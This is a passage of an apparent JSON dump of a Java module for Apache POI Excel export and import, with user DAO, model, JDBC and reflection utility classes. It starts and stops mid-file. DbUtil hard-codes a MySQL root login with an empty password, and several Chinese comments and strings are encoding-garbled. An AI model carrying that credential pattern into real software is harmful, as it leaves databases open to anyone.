Date){\n\t\t\tcell.setCellValue((Date)value);\n\t\t\tif(style == null) cell.setCellStyle(getFormat(sheet.getWorkbook(), \"yyyy年MM月dd日\"));\n\t\t}else if(value instanceof String && cellType == Cell.CELL_TYPE_FORMULA){\n\t\t\tcell.setCellFormula((String) value);\n\t\t}else{\n\t\t\tcell.setCellValue(String.valueOf(value));\n\t\t}\n\t}\n\t\n\tpublic static void setValue(Sheet sheet, int r, int c, Object value, CellStyle style,int cellType){\n\t\tsetValue(sheet, r, c, value, null, cellType, 0);\n\t}\n\t\n\t/**\n\t * 设置单元格的值\n\t * @param sheet 工作表\n\t * @param r 行\n\t * @param c 列\n\t * @param value 值\n\t */\n\tpublic static void setValue(Sheet sheet, int r, int c, Object value){\n\t\tsetValue(sheet, r, c, value, null, -1);\n\t}\n\t\n\t\n\t/**\n\t * 获取excel行\n\t * @param rowCounter 行序号\n\t * @param sheet 工作表\n\t * @return 行对象\n\t */\n\tpublic static Row getRow(Sheet sheet, int rowCounter) {\n\t\tRow row = sheet.getRow(rowCounter);\n\t\tif (row == null) {\n\t\t\trow = sheet.createRow(rowCounter);\n\t\t}\n\t\treturn row;\n\t}\n\t\n\t/**\n\t * 获取单元格\n\t * @param row 行对象\n\t * @param column 纵序号\n\t * @return 单元格对象\n\t */\n\tpublic static Cell getCell(Row row, int column) {\n\t\tCell cell = row.getCell(column);\n\t\tif (cell == null) {\n\t\t\tcell = row.createCell(column);\n\t\t}\n\t\treturn cell;\n\t}\n\t\n\tpublic static Cell getCell(Sheet sheet, int r, int c){\n\t\treturn getCell(getRow(sheet, r), c);\n\t}\n\t\n\t/**\n\t * 获取单元格值\n\t * @param sheet 工作表对象\n\t * @param row 行序号\n\t * @param column 纵序号\n\t * @param type 值类型\n\t * @return 单元格的值\n\t */\n\tpublic static Object getValue(Sheet sheet, int row, int column, Class<?> type){\n\t\tCell cell = getCell(getRow(sheet, row), column);\n\t\treturn getValue(cell, type);\n\t}\n\t\n\tpublic static CellStyle getFormat(Workbook wb, String p){\n\t\tShort index = styleMap.get(p);\n\t\tCellStyle style = null;\n\t\tif(index == null){\n\t\t\tstyle = wb.createCellStyle();\n\t\t\tDataFormat df = wb.createDataFormat();\n\t\t\tstyle.setDataFormat(df.getFormat(p));\n\t\t\tstyle.setWrapText(true);\n\t\t\tstyleMap.put(p, style.getIndex());\n\t\t}else{\n\t\t\tstyle = wb.getCellStyleAt(index);\n\t\t}\n\t\treturn style;\n\t}\n\t\n\t\n\t/**\n\t * poi样式示例\n\t */\n\tpublic void writeExcel(){\n\t\t// 创建Excel的工作书册 Workbook,对应到一个excel文档  \n\t    HSSFWorkbook wb = new HSSFWorkbook();  \n\t  \n\t    // 创建Excel的工作sheet,对应到一个excel文档的tab  \n\t    HSSFSheet sheet = wb.createSheet(\"sheet1\");  \n\t  \n\t    // 设置excel每列宽度  \n\t    sheet.setColumnWidth(0, 4000);  \n\t    sheet.setColumnWidth(1, 3500);  \n\t  \n\t    // 创建字体样式  \n\t    HSSFFont font = wb.createFont();  \n\t    font.setFontName(\"Verdana\");  \n\t    font.setBoldweight((short) 100);  \n\t    font.setFontHeight((short) 300);  \n\t    font.setColor(HSSFColor.BLUE.index);  \n\t  \n\t    // 创建单元格样式  \n\t    HSSFCellStyle style = wb.createCellStyle();  \n\t    style.setAlignment(HSSFCellStyle.ALIGN_CENTER);  \n\t    style.setVerticalAlignment(HSSFCellStyle.VERTICAL_CENTER);  \n\t    style.setFillForegroundColor(HSSFColor.LIGHT_TURQUOISE.index);  \n\t    style.setFillPattern(HSSFCellStyle.SOLID_FOREGROUND);  \n\t  \n\t    // 设置边框  \n\t    style.setBottomBorderColor(HSSFColor.RED.index);  \n\t    style.setBorderBottom(HSSFCellStyle.BORDER_THIN);  \n\t    style.setBorderLeft(HSSFCellStyle.BORDER_THIN);  \n\t    style.setBorderRight(HSSFCellStyle.BORDER_THIN);  \n\t    style.setBorderTop(HSSFCellStyle.BORDER_THIN);  \n\t  \n\t    style.setFont(font);// 设置字体  \n\t  \n\t    // 创建Excel的sheet的一行  \n\t    HSSFRow row = sheet.createRow(0);  \n\t    row.setHeight((short) 500);// 设定行的高度  \n\t    // 创建一个Excel的单元格  \n\t    HSSFCell cell = row.createCell(0);  \n\t  \n\t    // 合并单元格(startRow，endRow，startColumn，endColumn)  \n\t    sheet.addMergedRegion(new CellRangeAddress(0, 0, 0, 2));  \n\t  \n\t    // 给Excel的单元格设置样式和赋值  \n\t    cell.setCellStyle(style);  \n\t    cell.setCellValue(\"hello world\");  \n\t  \n\t    // 设置单元格内容格式  \n\t    HSSFCellStyle style1 = wb.createCellStyle();  \n\t    style1.setDataFormat(HSSFDataFormat.getBuiltinFormat(\"h:mm:ss\"));  \n\t  \n\t    style1.setWrapText(true);// 自动换行  \n\t  \n\t    row = sheet.createRow(1);  \n\t  \n\t    // 设置单元格的样式格式  \n\t  \n\t    cell = row.createCell(0);  \n\t    cell.setCellStyle(style1);  \n\t    cell.setCellValue(new Date());  \n\t  \n\t    // 创建超链接  \n\t    HSSFHyperlink link = new HSSFHyperlink(HSSFHyperlink.LINK_URL);  \n\t    link.setAddress(\"http://www.baidu.com\");  \n\t    cell = row.createCell(1);  \n\t    cell.setCellValue(\"百度\");  \n\t    cell.setHyperlink(link);// 设定单元格的链接  \n\t  \n\t    FileOutputStream os;\n\t\ttry {\n\t\t\tos = new FileOutputStream(\"D:\\\\workbook.xls\");\n\t\t\twb.write(os);  \n\t\t    os.close();\n\t\t} catch (FileNotFoundException e) {\n\t\t\te.printStackTrace();\n\t\t} catch (IOException e) {\n\t\t\te.printStackTrace();\n\t\t}  \n\t    \n\t}\n\t\n\tpublic static void main(String[] args){\n\t\tnew PoiUtil().writeExcel();\n\t}\n\t/**\n\t * 首字母变小写\n\t */\n\tpublic static String firstCharToLowerCase(String str) {\n\t\tCharacter firstChar = str.charAt(0);\n\t\tString tail = str.substring(1);\n\t\tstr = Character.toLowerCase(firstChar) + tail;\n\t\treturn str;\n\t}\n\t\n\t/**\n\t * 首字母变大写\n\t */\n\tpublic static String firstCharToUpperCase(String str) {\n\t\tCharacter firstChar = str.charAt(0);\n\t\tString tail = str.substring(1);\n\t\tstr = Character.toUpperCase(firstChar) + tail;\n\t\treturn str;\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poiExp/action/UserAction.java",
    "content": "package com.jun.plugin.poiExp.action;\n/*\n * package com.java1234.action;\n * \n * import java.io.File; import java.io.FileInputStream; import\n * java.sql.Connection; import java.sql.ResultSet;\n * \n * import net.sf.json.JSONArray; import net.sf.json.JSONObject;\n * \n * import org.apache.poi.hssf.usermodel.HSSFRow; import\n * org.apache.poi.hssf.usermodel.HSSFSheet; import\n * org.apache.poi.hssf.usermodel.HSSFWorkbook; import\n * org.apache.poi.poifs.filesystem.POIFSFileSystem; import\n * org.apache.poi.ss.usermodel.Workbook; import\n * org.apache.struts2.ServletActionContext;\n * \n * import com.java1234.dao.UserDao; import com.java1234.model.PageBean; import\n * com.java1234.model.User; import com.java1234.util.DbUtil; import\n * com.java1234.util.ExcelUtil; import com.java1234.util.JsonUtil; import\n * com.java1234.util.ResponseUtil; import com.java1234.util.StringUtil; import\n * com.opensymphony.xwork2.ActionSupport;\n * \n * public class UserAction extends ActionSupport {\n * \n *//**\n\t* \n\t*//*\n\t\t * private static final long serialVersionUID = 1L;\n\t\t * \n\t\t * private String page; private String rows; private String id; private User\n\t\t * user; private String delId;\n\t\t * \n\t\t * private File userUploadFile;\n\t\t * \n\t\t * public String getPage() { return page; } public void setPage(String page) {\n\t\t * this.page = page; } public String getRows() { return rows; } public void\n\t\t * setRows(String rows) { this.rows = rows; }\n\t\t * \n\t\t * public String getDelId() { return delId; } public void setDelId(String delId)\n\t\t * { this.delId = delId; } public User getUser() { return user; } public void\n\t\t * setUser(User user) { this.user = user; }\n\t\t * \n\t\t * \n\t\t * public String getId() { return id; } public void setId(String id) { this.id =\n\t\t * id; }\n\t\t * \n\t\t * \n\t\t * \n\t\t * \n\t\t * public File getUserUploadFile() { return userUploadFile; } public void\n\t\t * setUserUploadFile(File userUploadFile) { this.userUploadFile =\n\t\t * userUploadFile; }\n\t\t * \n\t\t * \n\t\t * \n\t\t * \n\t\t * DbUtil dbUtil=new DbUtil(); UserDao userDao=new UserDao();\n\t\t * \n\t\t * public String list()throws Exception{ Connection con=null; PageBean\n\t\t * pageBean=new PageBean(Integer.parseInt(page),Integer.parseInt(rows)); try{\n\t\t * con=dbUtil.getCon(); JSONObject result=new JSONObject(); JSONArray\n\t\t * jsonArray=JsonUtil.formatRsToJsonArray(userDao.userList(con, pageBean)); int\n\t\t * total=userDao.userCount(con); result.put(\"rows\", jsonArray);\n\t\t * result.put(\"total\", total);\n\t\t * ResponseUtil.write(ServletActionContext.getResponse(),result);\n\t\t * }catch(Exception e){ e.printStackTrace(); }finally{ try {\n\t\t * dbUtil.closeCon(con); } catch (Exception e) { // TODO Auto-generated catch\n\t\t * block e.printStackTrace(); } } return null; }\n\t\t * \n\t\t * public String save()throws Exception{ if(StringUtil.isNotEmpty(id)){\n\t\t * user.setId(Integer.parseInt(id)); } Connection con=null; try{\n\t\t * con=dbUtil.getCon(); int saveNums=0; JSONObject result=new JSONObject();\n\t\t * if(StringUtil.isNotEmpty(id)){ saveNums=userDao.userModify(con, user); }else{\n\t\t * saveNums=userDao.userAdd(con, user); } if(saveNums>0){ result.put(\"success\",\n\t\t * \"true\"); }else{ result.put(\"success\", \"true\"); result.put(\"errorMsg\",\n\t\t * \"����ʧ��\"); } ResponseUtil.write(ServletActionContext.getResponse(), result);\n\t\t * }catch(Exception e){ e.printStackTrace(); }finally{ try {\n\t\t * dbUtil.closeCon(con); } catch (Exception e) { // TODO Auto-generated catch\n\t\t * block e.printStackTrace(); } } return null; }\n\t\t * \n\t\t * public String delete()throws Exception{ Connection con=null; try {\n\t\t * con=dbUtil.getCon(); JSONObject result=new JSONObject(); int\n\t\t * delNums=userDao.userDelete(con, delId); if(delNums==1){ result.put(\"success\",\n\t\t * \"true\"); }else{ result.put(\"errorMsg\", \"ɾ��ʧ��\"); }\n\t\t * ResponseUtil.write(ServletActionContext.getResponse(), result); } catch\n\t\t * (Exception e) { // TODO Auto-generated catch block e.printStackTrace();\n\t\t * }finally{ try { dbUtil.closeCon(con); } catch (Exception e) { // TODO\n\t\t * Auto-generated catch block e.printStackTrace(); } } return null; }\n\t\t * \n\t\t * \n\t\t * public String export()throws Exception{ Connection con=null; try {\n\t\t * con=dbUtil.getCon(); Workbook wb=new HSSFWorkbook(); String\n\t\t * headers[]={\"���\",\"����\",\"�绰\",\"Email\",\"QQ\"}; ResultSet\n\t\t * rs=userDao.userList(con, null); ExcelUtil.fillExcelData(rs, wb, headers);\n\t\t * ResponseUtil.export(ServletActionContext.getResponse(), wb, \"����excel.xls\");\n\t\t * } catch (Exception e) { // TODO Auto-generated catch block\n\t\t * e.printStackTrace(); }finally{ try { dbUtil.closeCon(con); } catch (Exception\n\t\t * e) { // TODO Auto-generated catch block e.printStackTrace(); } } return null;\n\t\t * }\n\t\t * \n\t\t * public String export2()throws Exception{ Connection con=null; try {\n\t\t * con=dbUtil.getCon(); ResultSet rs=userDao.userList(con, null); Workbook\n\t\t * wb=ExcelUtil.fillExcelDataWithTemplate(userDao.userList(con, null),\n\t\t * \"userExporTemplate.xls\");\n\t\t * ResponseUtil.export(ServletActionContext.getResponse(), wb,\n\t\t * \"����ģ�浼��excel.xls\"); } catch (Exception e) { // TODO Auto-generated catch\n\t\t * block e.printStackTrace(); }finally{ try { dbUtil.closeCon(con); } catch\n\t\t * (Exception e) { // TODO Auto-generated catch block e.printStackTrace(); } }\n\t\t * return null; }\n\t\t * \n\t\t * \n\t\t * public String upload()throws Exception{ POIFSFileSystem fs=new\n\t\t * POIFSFileSystem(new FileInputStream(userUploadFile)); HSSFWorkbook wb=new\n\t\t * HSSFWorkbook(fs); HSSFSheet hssfSheet=wb.getSheetAt(0); // ��ȡ��һ��Sheetҳ\n\t\t * if(hssfSheet!=null){ for(int\n\t\t * rowNum=1;rowNum<=hssfSheet.getLastRowNum();rowNum++){ HSSFRow\n\t\t * hssfRow=hssfSheet.getRow(rowNum); if(hssfRow==null){ continue; } User\n\t\t * user=new User(); user.setName(ExcelUtil.formatCell(hssfRow.getCell(0)));\n\t\t * user.setPhone(ExcelUtil.formatCell(hssfRow.getCell(1)));\n\t\t * user.setEmail(ExcelUtil.formatCell(hssfRow.getCell(2)));\n\t\t * user.setQq(ExcelUtil.formatCell(hssfRow.getCell(3))); Connection con=null;\n\t\t * try{ con=dbUtil.getCon(); userDao.userAdd(con, user); }catch(Exception e){\n\t\t * e.printStackTrace(); }finally{ dbUtil.closeCon(con); } } } JSONObject\n\t\t * result=new JSONObject(); result.put(\"success\", \"true\");\n\t\t * ResponseUtil.write(ServletActionContext.getResponse(), result); return null;\n\t\t * }\n\t\t * \n\t\t * \n\t\t * \n\t\t * }\n\t\t */"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poiExp/dao/UserDao.java",
    "content": "package com.jun.plugin.poiExp.dao;\n\nimport java.sql.Connection;\nimport java.sql.PreparedStatement;\nimport java.sql.ResultSet;\n\nimport com.jun.plugin.poiExp.model.PageBean;\nimport com.jun.plugin.poiExp.model.User;\n\npublic class UserDao {\n\n\tpublic ResultSet userList(Connection con,PageBean pageBean)throws Exception{\n\t\tStringBuffer sb=new StringBuffer(\"select * from t_user\");\n\t\tif(pageBean!=null){\n\t\t\tsb.append(\" limit ?,?\");\t\t\t\n\t\t}\n\t\tPreparedStatement pstmt=con.prepareStatement(sb.toString());\n\t\tif(pageBean!=null){\n\t\t\tpstmt.setInt(1, pageBean.getStart());\n\t\t\tpstmt.setInt(2, pageBean.getRows());\n\t\t}\n\t\treturn pstmt.executeQuery();\n\t}\n\t\n\tpublic int userCount(Connection con)throws Exception{\n\t\tString sql=\"select count(*) as total from t_user\";\n\t\tPreparedStatement pstmt=con.prepareStatement(sql);\n\t\tResultSet rs=pstmt.executeQuery();\n\t\tif(rs.next()){\n\t\t\treturn rs.getInt(\"total\");\n\t\t}else{\n\t\t\treturn 0;\n\t\t}\n\t}\n\t\n\tpublic int userDelete(Connection con,String delId)throws Exception{\n\t\tString sql=\"delete from t_user where id=?\";\n\t\tPreparedStatement pstmt=con.prepareStatement(sql);\n\t\tpstmt.setString(1, delId);\n\t\treturn pstmt.executeUpdate();\n\t}\n\t\n\tpublic int userAdd(Connection con,User user)throws Exception{\n\t\tString sql=\"insert into t_user values(null,?,?,?,?)\";\n\t\tPreparedStatement pstmt=con.prepareStatement(sql);\n\t\tpstmt.setString(1, user.getName());\n\t\tpstmt.setString(2, user.getPhone());\n\t\tpstmt.setString(3, user.getEmail());\n\t\tpstmt.setString(4, user.getQq());\n\t\treturn pstmt.executeUpdate();\n\t}\n\t\n\tpublic int userModify(Connection con,User user)throws Exception{\n\t\tString sql=\"update t_user set name=?,phone=?,email=?,qq=? where id=?\";\n\t\tPreparedStatement pstmt=con.prepareStatement(sql);\n\t\tpstmt.setString(1, user.getName());\n\t\tpstmt.setString(2, user.getPhone());\n\t\tpstmt.setString(3, user.getEmail());\n\t\tpstmt.setString(4, user.getQq());\n\t\tpstmt.setInt(5,user.getId());\n\t\treturn pstmt.executeUpdate();\n\t} \n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poiExp/model/PageBean.java",
    "content": "package com.jun.plugin.poiExp.model;\n\npublic class PageBean {\n\n\tprivate int page; // �ڼ�ҳ\n\tprivate int rows; // ÿҳ�ļ�¼��\n\tprivate int start; // ��ʼҳ\n\t\n\tpublic PageBean(int page, int rows) {\n\t\tsuper();\n\t\tthis.page = page;\n\t\tthis.rows = rows;\n\t}\n\tpublic int getPage() {\n\t\treturn page;\n\t}\n\tpublic void setPage(int page) {\n\t\tthis.page = page;\n\t}\n\tpublic int getRows() {\n\t\treturn rows;\n\t}\n\tpublic void setRows(int rows) {\n\t\tthis.rows = rows;\n\t}\n\t\n\tpublic int getStart() {\n\t\treturn (page-1)*rows;\n\t}\n\t\n\t\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poiExp/model/User.java",
    "content": "package com.jun.plugin.poiExp.model;\n\npublic class User {\n\n\tprivate int id;\n\tprivate String name;\n\tprivate String phone;\n\tprivate String email;\n\tprivate String qq;\n\t\n\tpublic User() {\n\t}\n\t\n\tpublic User(String name, String phone, String email, String qq) {\n\t\tthis.name = name;\n\t\tthis.phone = phone;\n\t\tthis.email = email;\n\t\tthis.qq = qq;\n\t}\n\t\n\tpublic int getId() {\n\t\treturn id;\n\t}\n\tpublic void setId(int id) {\n\t\tthis.id = id;\n\t}\n\tpublic String getName() {\n\t\treturn name;\n\t}\n\tpublic void setName(String name) {\n\t\tthis.name = name;\n\t}\n\tpublic String getEmail() {\n\t\treturn email;\n\t}\n\tpublic void setEmail(String email) {\n\t\tthis.email = email;\n\t}\n\tpublic String getQq() {\n\t\treturn qq;\n\t}\n\tpublic void setQq(String qq) {\n\t\tthis.qq = qq;\n\t}\n\tpublic String getPhone() {\n\t\treturn phone;\n\t}\n\tpublic void setPhone(String phone) {\n\t\tthis.phone = phone;\n\t}\n\t\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poiExp/util/DbUtil.java",
    "content": "package com.jun.plugin.poiExp.util;\n\nimport java.sql.Connection;\nimport java.sql.DriverManager;\n\npublic class DbUtil {\n\n\tprivate String dbUrl=\"jdbc:mysql://localhost:3306/db_test?useUnicode=true&characterEncoding=utf-8\";\n\tprivate String dbUserName=\"root\";\n\tprivate String dbPassword=\"\";\n\tprivate String jdbcName=\"com.mysql.jdbc.Driver\";\n\t\n\tpublic Connection getCon()throws Exception{\n\t\tClass.forName(jdbcName);\n\t\tConnection con=DriverManager.getConnection(dbUrl,dbUserName,dbPassword);\n\t\treturn con;\n\t}\n\t\n\tpublic void closeCon(Connection con)throws Exception{\n\t\tif(con!=null){\n\t\t\tcon.close();\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poiExp/util/ExcelUtil.java",
    "content": "package com.jun.plugin.poiExp.util;\n\nimport java.io.InputStream;\nimport java.sql.ResultSet;\n\nimport org.apache.poi.hssf.usermodel.HSSFCell;\nimport org.apache.poi.hssf.usermodel.HSSFWorkbook;\nimport org.apache.poi.poifs.filesystem.POIFSFileSystem;\nimport org.apache.poi.ss.usermodel.Row;\nimport org.apache.poi.ss.usermodel.Sheet;\nimport org.apache.poi.ss.usermodel.Workbook;\n\npublic class ExcelUtil {\n\n\tpublic static void fillExcelData(ResultSet rs,Workbook wb,String[] headers)throws Exception{\n\t\tint rowIndex=0;\n\t\tSheet sheet=wb.createSheet();\n\t\tRow row=sheet.createRow(rowIndex++);\n\t\tfor(int i=0;i<headers.length;i++){\n\t\t\trow.createCell(i).setCellValue(headers[i]);\n\t\t}\n\t\twhile(rs.next()){\n\t\t\trow=sheet.createRow(rowIndex++);\n\t\t\tfor(int i=0;i<headers.length;i++){\n\t\t\t\trow.createCell(i).setCellValue(rs.getObject(i+1).toString());\n\t\t\t}\n\t\t}\n\t}\n\t\n\tpublic static Workbook fillExcelDataWithTemplate(ResultSet rs,String templateFileName)throws Exception{\n\t\tInputStream inp=ExcelUtil.class.getResourceAsStream(\"/com/java1234/template/\"+templateFileName);\n\t\tPOIFSFileSystem fs=new POIFSFileSystem(inp);\n\t\tWorkbook wb=new HSSFWorkbook(fs);\n\t\tSheet sheet=wb.getSheetAt(0);\n\t\t// ��ȡ����\n\t\tint cellNums=sheet.getRow(0).getLastCellNum();\n\t\tint rowIndex=1;\n\t\twhile(rs.next()){\n\t\t\tRow row=sheet.createRow(rowIndex++);\n\t\t\tfor(int i=0;i<cellNums;i++){\n\t\t\t\trow.createCell(i).setCellValue(rs.getObject(i+1).toString());\n\t\t\t}\n\t\t}\n\t\treturn wb;\n\t}\n\t\n\tpublic static String formatCell(HSSFCell hssfCell){\n\t\tif(hssfCell==null){\n\t\t\treturn \"\";\n\t\t}else{\n\t\t\tif(hssfCell.getCellType()==HSSFCell.CELL_TYPE_BOOLEAN){\n\t\t\t\treturn String.valueOf(hssfCell.getBooleanCellValue());\n\t\t\t}else if(hssfCell.getCellType()==HSSFCell.CELL_TYPE_NUMERIC){\n\t\t\t\treturn String.valueOf(hssfCell.getNumericCellValue());\n\t\t\t}else{\n\t\t\t\treturn String.valueOf(hssfCell.getStringCellValue());\n\t\t\t}\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poiExp/util/JsonUtil.java",
    "content": "package com.jun.plugin.poiExp.util;\n\nimport java.sql.ResultSet;\nimport java.sql.ResultSetMetaData;\n\nimport net.sf.json.JSONArray;\nimport net.sf.json.JSONObject;\n\npublic class JsonUtil {\n\n\t/**\n\t * ��ResultSet����ת����JsonArray����\n\t * @param rs\n\t * @return\n\t * @throws Exception\n\t */\n\tpublic static JSONArray formatRsToJsonArray(ResultSet rs)throws Exception{\n\t\tResultSetMetaData md=rs.getMetaData();\n\t\tint num=md.getColumnCount();\n\t\tJSONArray array=new JSONArray();\n\t\twhile(rs.next()){\n\t\t\tJSONObject mapOfColValues=new JSONObject();\n\t\t\tfor(int i=1;i<=num;i++){\n\t\t\t\tmapOfColValues.put(md.getColumnName(i), rs.getObject(i));\n\t\t\t}\n\t\t\tarray.add(mapOfColValues);\n\t\t}\n\t\treturn array;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poiExp/util/ResponseUtil.java",
    "content": "package com.jun.plugin.poiExp.util;\n\nimport java.io.OutputStream;\nimport java.io.PrintWriter;\n\nimport javax.servlet.http.HttpServletResponse;\n\nimport org.apache.poi.ss.usermodel.Workbook;\n\n\npublic class ResponseUtil {\n\n\tpublic static void write(HttpServletResponse response,Object o)throws Exception{\n\t\tresponse.setContentType(\"text/html;charset=utf-8\");\n\t\tPrintWriter out=response.getWriter();\n\t\tout.print(o.toString());\n\t\tout.flush();\n\t\tout.close();\n\t}\n\t\n\tpublic static void export(HttpServletResponse response,Workbook wb,String fileName)throws Exception{\n\t\tresponse.setHeader(\"Content-Disposition\", \"attachment;filename=\"+new String(fileName.getBytes(\"utf-8\"),\"iso8859-1\"));\n\t\tresponse.setContentType(\"application/ynd.ms-excel;charset=UTF-8\");\n\t\tOutputStream out=response.getOutputStream();\n\t\twb.write(out);\n\t\tout.flush();\n\t\tout.close();\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poiExp/util/StringUtil.java",
    "content": "package com.jun.plugin.poiExp.util;\n\npublic class StringUtil {\n\n\tpublic static boolean isEmpty(String str){\n\t\tif(\"\".equals(str)||str==null){\n\t\t\treturn true;\n\t\t}else{\n\t\t\treturn false;\n\t\t}\n\t}\n\t\n\tpublic static boolean isNotEmpty(String str){\n\t\tif(!\"\".equals(str)&&str!=null){\n\t\t\treturn true;\n\t\t}else{\n\t\t\treturn false;\n\t\t}\n\t}\n\t\n\n\t\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poitest/common/Constants.java",
    "content": "package com.jun.plugin.poitest.common;\n/**\n* @author wzy\n* @date 2017年7月6日 下午2:22:30\n*/\npublic class Constants {\n\tpublic static final String POI_FOREACH_START_REGEXP = \"<poi:foreach\\\\s+list=\\\"(\\\\w+)\\\">\";\n\tpublic static final String POI_FOREACH_END_REGEXP = \"</poi:foreach>\";\n\t\n\tpublic static final String POI_PROPERTY_START_REGEXP = \"<poi:property\\\\s+item=\\\"(\\\\w+)\\\">\";\n\tpublic static final String POI_PROPERTY_END_REGEXP = \"</poi:property>\";\n\t\n\t// 处理类似${key}的串\n\tpublic static final String POI_KEY_REGEXP = \"\\\\$\\\\{(\\\\w+)\\\\}\";\n\t// 处理类似${vo.key}的串\n\tpublic static final String POI_VO_DOT_KEY_REGEXP = \"\\\\$(\\\\{)(\\\\w+\\\\.)(.+?\\\\})\";\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poitest/common/PoiUtils.java",
    "content": "package com.jun.plugin.poitest.common;\n\nimport java.math.BigDecimal;\nimport java.sql.Date;\n\nimport org.joda.time.DateTime;\nimport org.joda.time.format.DateTimeFormat;\nimport org.joda.time.format.DateTimeFormatter;\n\n/**\n* @author wzy\n* @date 2017年7月12日 下午12:53:34\n*/\npublic class PoiUtils {\n\t\n\t@SuppressWarnings(\"unchecked\")\n\tpublic static <T> T parse2Type(Object value, Class<T> type){\n\t\tif(String.class.isAssignableFrom(type)){\n\t\t\treturn (T) value.toString();\n\t\t}\n\t\t\n\t\tif(isPrimitiveOrWrapClass(type)){\n\t\t\tString className = type.getName();\n\t        switch (className) {\n\t            case \"java.lang.Boolean\":\n\t            case \"boolean\":\n\t                return (T) Boolean.valueOf(value.toString());\n\t            case \"java.lang.Character\":\n\t            case \"char\":\n\t                return (T) Character.valueOf(value.toString().charAt(0));\n\t            case \"java.lang.Byte\":\n\t            case \"byte\":\n\t                return (T) Byte.valueOf(value.toString());\n\t            case \"java.lang.Short\":\n\t            case \"short\":\n\t                return (T) Short.valueOf(value.toString());\n\t            case \"java.lang.Integer\":\n\t            case \"int\":\n\t                return (T) Integer.valueOf(value.toString());\n\t            case \"java.lang.Long\":\n\t            case \"long\":\n\t                return (T) Long.valueOf(value.toString());\n\t            case \"java.lang.Float\":\n\t            case \"float\":\n\t                return (T) Float.valueOf(value.toString());\n\t            case \"java.lang.Double\":\n\t            case \"double\":\n\t                return (T) Double.valueOf(value.toString());\n\t            default:\n\t                throw new RuntimeException(className + \"不支持，bug\");\n\t        }\n\t\t}\n\t\t\n\t\tif(Date.class.isAssignableFrom(type)){\n\t\t\t// TODO\n\t\t\tDateTimeFormatter formatter = DateTimeFormat.forPattern(\"yyyy-MM-dd HH:mm:ss\");\n\t\t\treturn (T) DateTime.parse(value.toString(), formatter);\n\t\t}\n\t\t\n\t\tif(BigDecimal.class.isAssignableFrom(type)){\n\t\t\treturn (T) new BigDecimal(value.toString());\n\t\t}\n\t\t\n\t\tthrow new RuntimeException(\"不支持的类型：\" + type.getName());\n\t}\n\t\n\t\n\t/**\n\t * 决断clz是否是基本类型 或者 基本类型的包装类型\n\t * @param clz\n\t * @return\n\t */\n\tpublic static boolean isPrimitiveOrWrapClass(Class<?> clz){\n\t\tif(clz.isPrimitive()){\n\t\t\treturn true;\n\t\t}\n\n\t\treturn isWrapClass(clz);\n\t}\n\n\tpublic static boolean isWrapClass(Class<?> clz) {\n\t\ttry {\n\t\t\treturn ((Class<?>) clz.getField(\"TYPE\").get(null)).isPrimitive();\n\t\t} catch (Exception e) {\n\t\t\treturn false;\n\t\t}\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poitest/common/ReflectionUtil.java",
    "content": "package com.jun.plugin.poitest.common;\n\nimport java.lang.reflect.Field;\nimport java.lang.reflect.Method;\nimport java.lang.reflect.ParameterizedType;\nimport java.lang.reflect.Type;\n\n/**\n * <p>Utility class that uses {@code java.lang.reflect} standard library. \n * It provides easy access to the standard reflect methods that are \n * needed usually when dealing with generic object types.</p>   \n * \n * <pre>\n * ReflectionUtil中包含以下几种功能：\n\t通过Type获取对象class;\n\t通过Type创建对象;\n\t获取泛型对象的泛型化参数;\n\t检查对象是否存在默认构造函数;\n\t获取指定类型中的特定field类型;\n\t获取指定类型中的特定method返回类型;\n\t根据字符串标示获取枚举常量;\n * </pre>\n * \n * @author Qussay Najjar\n * \n * @version 1.0\n * @since 2013-09-27\n * \n * @version 1.1\n * @since 2014-04-13\n * \n * @link http://qussay.com/2013/09/28/handling-java-generic-types-with-reflection\n * @link http://www.cnblogs.com/whitewolf/p/4355541.html\n */\npublic class ReflectionUtil {\n\t\n\t/**\n\t * When {@code Type} initialized with a value of an object, its fully qualified class name \n\t * will be prefixed with this.\n\t * \n\t * @see {@link ReflectionUtil#getClassName(Type)}\n\t */\n\tprivate static final String TYPE_CLASS_NAME_PREFIX = \"class \";\n\tprivate static final String TYPE_INTERFACE_NAME_PREFIX = \"interface \";\n\t\n\t/*\n\t *  Utility class with static access methods, no need for constructor.\n\t */\n\tprivate ReflectionUtil() {}\n\t\n\t/**\n\t * {@link Type#toString()} value is the fully qualified class name prefixed\n\t * with {@link ReflectionUtil#TYPE_NAME_PREFIX}. This method will substring it, for it to be eligible\n\t * for {@link Class#forName(String)}.\n\t * \n\t * @param type the {@code Type} value whose class name is needed.  \n\t * @return {@code String} class name of the invoked {@code type}.\n\t * \n\t * @see {@link ReflectionUtil#getClass()}\n\t */\n\tpublic static String getClassName(Type type) {\n\t\tif (type==null) {\n\t\t\treturn \"\";\n\t\t}\n\t\tString className = type.toString();\n\t\tif (className.startsWith(TYPE_CLASS_NAME_PREFIX)) {\n\t    \tclassName = className.substring(TYPE_CLASS_NAME_PREFIX.length());\n\t    } else if (className.startsWith(TYPE_INTERFACE_NAME_PREFIX)) {\n\t    \tclassName = className.substring(TYPE_INTERFACE_NAME_PREFIX.length());\n\t    }\n\t    return className;\n\t}\n\t\n\t/**\n\t * Returns the {@code Class} object associated with the given {@link Type}\n\t * depending on its fully qualified name. \n\t * \n\t * @param type the {@code Type} whose {@code Class} is needed.\n\t * @return the {@code Class} object for the class with the specified name.\n\t * \n\t * @throws ClassNotFoundException if the class cannot be located.\n\t * 